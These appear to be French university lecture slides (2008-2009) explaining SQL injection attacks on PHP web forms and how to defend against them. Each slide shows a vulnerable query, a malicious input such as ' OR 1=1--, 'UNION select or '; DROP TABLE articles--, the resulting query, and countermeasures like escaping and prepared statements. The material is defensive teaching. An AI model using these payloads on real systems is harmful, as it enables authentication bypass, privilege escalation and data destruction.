MIF30 – Cryptographie

Les Injections SQL

Sylvie Tixier & François-Xavier Charlet

2008 - 2009

Définition

Une injection SQL est un type d'exploitation d'une faille de sécurité. Celle-ci consiste à injecter des caractères afin de modifier le comportement d'une requête, compromettant ainsi la sécurité du système.

Contexte

La croissance d'internet et la facilité de créer des blogs ou d'autres sites web dynamiques a entrainé cette nouvelle faille de sécurité qu'est l'injection SQL. Ce type de site étant répandu, il nous fallait donc expliquer et renseigner les personnes sur comment s'en protéger.

Les injections SQL

- Hello World
- Formulaire d'authentification
- Récupération d'informations sur les tables
- Formulaire d'inscription
- Suppression de tables
- Blind SQL injections

Légende de la description des injections

Requête type

Données entrées par l'utilisateur malveillant

Requête construite

Explication de l'erreur

Exemples de protection

Hello World Injection

$query = “ SELECT nom_site, url_site FROM table_site WHERE
nom_site LIKE ‘%$_POST[‘search’]%’ OR
url_site LIKE ‘%$_POST[‘search’]%’ ”

a’ OR ‘a%’ = ‘a

$query = “ SELECT nom_site, url_site FROM table_site WHERE
nom_site LIKE ‘%a’ OR ‘a%’ = ‘a%’ OR
url_site LIKE ‘%a’ OR ‘a%’ = ‘a%’ ”

Renvoie tous les sites : ‘a%’ = ‘a%‘ toujours vrai.
Apostrophe interprété => le « LIKE » est court-circuité.

Fonctions d’échappement pour l’apostrophe

Formulaire d'authentification (1)

$query = " SELECT name, password FROM utilisateurs WHERE
name = '$_POST['name']' AND
password = '$_POST['password']' "

Nom : a' OR 'a' = 'a
Mot de passe : a' OR 'a' = 'a

$query = " SELECT name, password FROM utilisateurs WHERE
name = 'a' OR 'a' = 'a' AND
password = 'a' OR 'a' = 'a' "

'a' = 'a' toujours vrai

Apostrophe interprété : il faut utiliser une fonction d'échappement

Formulaire d'authentification (2)

Nom : Admin'/*
(équivalent : Admin'-- , Admin'#)
Mot de passe :

$query = " SELECT name, password FROM utilisateurs WHERE name = 'Admin'/*' AND password = '' "

On connaît le login => le login est validé
On commente la vérification du mot de passe => on est authentifié

Fonctions d'échappement
Suppression des symboles de commentaires

Formulaire d'authentification (3)

Nom : 'OR 1=1/*
(équivalent : 'OR 1=1-- , 'OR 1=1'#)
Mot de passe :

$query = " SELECT name, password FROM utilisateurs WHERE name = ' ' OR 1=1/* AND password = '' "

On court-circuite la vérification du nom avec « 1=1 » qui renvoie vrai
Le mot de passe est commenté
=> On est authentifié

Fonctions d'échappement
Inversion des vérifications dans la requête (mot de passe puis login)

Récupération d'informations (1)

GROUP BY

Les erreurs renvoyées par le serveur vont nous informer de l'architecture de la table. Ce type d'injection s'effectue par étapes successives, et s'arrête lorsque qu'il n'y a plus d'erreurs.

```
$query = " SELECT * FROM utilisateurs WHERE
name = '$_POST['name']' AND password = '$_POST['password']' "
```

Première étape :

```
Nom : 'HAVING 1=1--
```

```
$query = " SELECT * FROM utilisateurs WHERE
name = '' HAVING 1=1-- AND password = '' "
```

Le serveur retourne une erreur de type :
« Column utilisateurs.id is invalid […]»
On apprend le nom de la table et le nom du premier champ

Récupération d'informations (2)

Deuxième étape :

Nom : 'GROUP BY utilisateurs.id HAVING 1=1--

$query = " SELECT * FROM utilisateurs WHERE
name = ' ' GROUP BY utilisateurs.id HAVING 1=1-- AND
password = '' "

Le serveur retourne une erreur de type :
« Column utilisateurs.name is invalid […]».
On apprend le nom du second champ de la table

Généralisation :

Nom : 'GROUP BY table.columnfromerror1,
columnfromerror2,…,columnfromerrorN HAVING 1=1--

Récupération d'informations (3)

Union

$query = " SELECT name, password FROM utilisateurs WHERE name = '$_POST['name']' AND password = '$_POST['password']' "

Pour le champ « name » :

Nom : 'UNION select sum(name) FROM utilisateurs--

$query = " SELECT name, password FROM utilisateurs WHERE name = ' ' UNION select sum (name) FROM utilisateurs– AND password = '' "

Le serveur retourne une erreur de type : « The sum or average operation cannot take a varchar data type as an argument »
« name » est donc de type « varchar »

Fonctions d'échappement
Interdiction de mots clés (ici « UNION »)

Formulaire d'inscription

$query = "INSERT INTO utilisateurs VALUES('', '$name', '$password', '$mail', 1)"

- 1 : utilisateurs
- 10 : bannis
- 100 : modérateurs
- 1000 : administrateurs

Mail : test@test.com',1000--

$query = « INSERT INTO utilisateurs VALUES('', 'test', 'test', 'test@test.com',1000--, 1)

Dès l'inscription => droits administrateur

Fonctions d'échappement
Prepared Statements (aucune interprétation de la chaîne possible)

Suppression d'une table

Requête permettant la recherche d'un article par son numéro :

$query = "SELECT * FROM articles WHERE id = '$_POST['id']'"

Id : ' ; DROP TABLE articles--

$query = "SELECT * FROM articles WHERE id = ''; DROP TABLE articles --'"

Suppression de la table « articles »

Fonctions d'échappement
Interdiction des mots clés SQL
Utilisation de Prepared Statements

Blind SQL Injection (1)

Version du serveur

SELECT * FROM table WHERE champ =’$_POST[‘valeur’]’;

a’ OR @@version > 3;

SELECT * FROM table WHERE champ = 'a' OR @@version > 3;

Si la requête renvoie une erreur : version inférieure à 3
Sinon, version supérieur à 3

Fonctions d’échappement
Interdiction des mots clés SQL
Utilisation de Prepared Statements

Blind SQL Injection (2)

Récupération du nombre de champs

SELECT id, champ1 FROM table WHERE id = '$_POST[‘valeur’]’;

$id_non_existant' GROUP BY 1;

SELECT id, champ1 FROM table WHERE id = '$id_non_existant' GROUP BY 1;

Si la requête retourne vrai : il y a au moins un champ

Fonctions d’échappement
Interdiction des mots clés SQL
Utilisation de Prepared Statements

Récapitulatif : les protections

- Désactivation des fonctions non utilisées
- Messages d’erreur personnalisées
- Fonctions d’échappement
- Interdiction de certains mots clés
- Limitation de la taille des données saisies par l’utilisateur
- Utilisation des Prepared Statement

Merci de nous avoir écouté

Des Questions ?